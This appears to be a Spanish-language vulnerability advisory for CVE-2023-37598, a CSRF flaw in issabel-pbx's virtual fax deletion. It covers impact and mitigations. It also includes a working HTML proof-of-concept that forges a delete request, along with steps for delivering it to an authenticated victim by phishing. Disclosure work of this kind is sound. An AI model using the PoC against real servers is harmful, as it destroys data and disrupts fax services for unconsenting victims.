
Existe una vulnerabilidad de Cross-Site Request Forgery (CSRF) en issabel-pbx v4.0.0-6 dentro de la funcionalidad de gestión de Virtual Fax.
CVE ID: CVE-2023-37598
Tipo de vulnerabilidad: Falsificación de Solicitudes entre Sitios (CSRF)
Producto afectado: issabel-pbx v4.0.0-6
Gravedad: Media
Descubierto por: Sahil Ojha
Fecha de divulgación: 10/07/2023
Página del proveedor: https://www.issabel.org/
Repositorio del software: https://github.com/IssabelFoundation/issabelPBX
Probado en: Windows
Existe una vulnerabilidad de Falsificación de Solicitudes entre Sitios (CSRF) en issabel-pbx v4.0.0-6 dentro de la funcionalidad de gestión de fax virtual. La aplicación no implementa protección CSRF (por ejemplo, tokens anti-CSRF o atributos de cookie same-site) en la acción de borrado de las entradas de fax virtual.
Esto permite a un atacante remoto no autenticado crear una página HTML maliciosa que — cuando es visitada por un administrador o usuario autenticado — envía silenciosamente una solicitud HTTP falsificada a la aplicación en nombre de la víctima. La solicitud falsificada provoca el borrado de los registros de fax virtual sin el conocimiento ni consentimiento de la víctima, resultando en pérdida de datos e interrupción de los servicios de fax.
La Falsificación de Solicitudes entre Sitios (CSRF) es un ataque que engaña al navegador de la víctima para que envíe una solicitud autenticada a una aplicación web sin la intención del usuario. Debido a que el navegador incluye automáticamente las cookies de sesión en cada solicitud, el servidor no puede distinguir una solicitud legítima de una falsificada cuando no hay token CSRF presente.
| Parámetro | Valor |
|---|
El siguiente archivo HTML, cuando es abierto por un usuario autenticado de issabel-pbx, enviará automáticamente una solicitud POST falsificada que elimina el fax virtual con id_fax=1.
Archivo: CSRF exploit.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1" method="POST">
<input type="hidden" name="delete" value="Delete" />
<input type="hidden" name="id_fax" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Nota: Reemplace
{Issabel IP}con la dirección IP o el nombre de host del servidor objetivo. El valor deid_faxpuede cambiarse para apuntar a cualquier registro de fax virtual según su ID.
Inicie sesión en el panel de administración de Issabel PBX y navegue a la página de fax virtual:
https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1

Capture la solicitud de borrado usando el proxy de Burp Suite. Intente eliminar una entrada de fax virtual, intercepte la solicitud, haga clic derecho sobre ella y navegue a Engagement Tools → Generate CSRF PoC.

Guarde el exploit CSRF generado como un archivo HTML (vea el PoC anterior).
Entregue el exploit a un usuario que ya haya iniciado sesión en la aplicación Issabel (por ejemplo, mediante un correo de phishing o un enlace malicioso). Cuando la víctima abra la página y haga clic en "Submit request", la entrada de fax virtual se eliminará sin ninguna interacción adicional.


Un atacante aloja el archivo HTML malicioso en un servidor externo o lo incrusta en un correo electrónico. Cuando un administrador de Issabel PBX autenticado abre esta página en la misma sesión del navegador, el navegador envía automáticamente la solicitud POST falsificada — incluyendo la cookie de sesión válida — al servidor Issabel. El servidor procesa la solicitud como legítima, eliminando el registro de fax virtual objetivo. La víctima no recibe ninguna advertencia y puede no notar el borrado hasta que inspeccione manualmente la lista de faxes.
Para remediar esta vulnerabilidad, el proveedor debería implementar una o más de las siguientes mitigaciones:
SameSite=Strict o SameSite=Lax para evitar que el navegador la envíe con solicitudes entre orígenes.X-Requested-With: XMLHttpRequest) para todas las operaciones sensibles y verifíquela en el servidor.| Aplicación | issabel-pbx |
| Versión | 4.0.0-6 |
| URL vulnerable | /index.php?menu=faxnew&action=view&id=<ID> |
| Acción vulnerable | delete (parámetro POST) |
| Protección faltante | Token CSRF / atributo de cookie SameSite |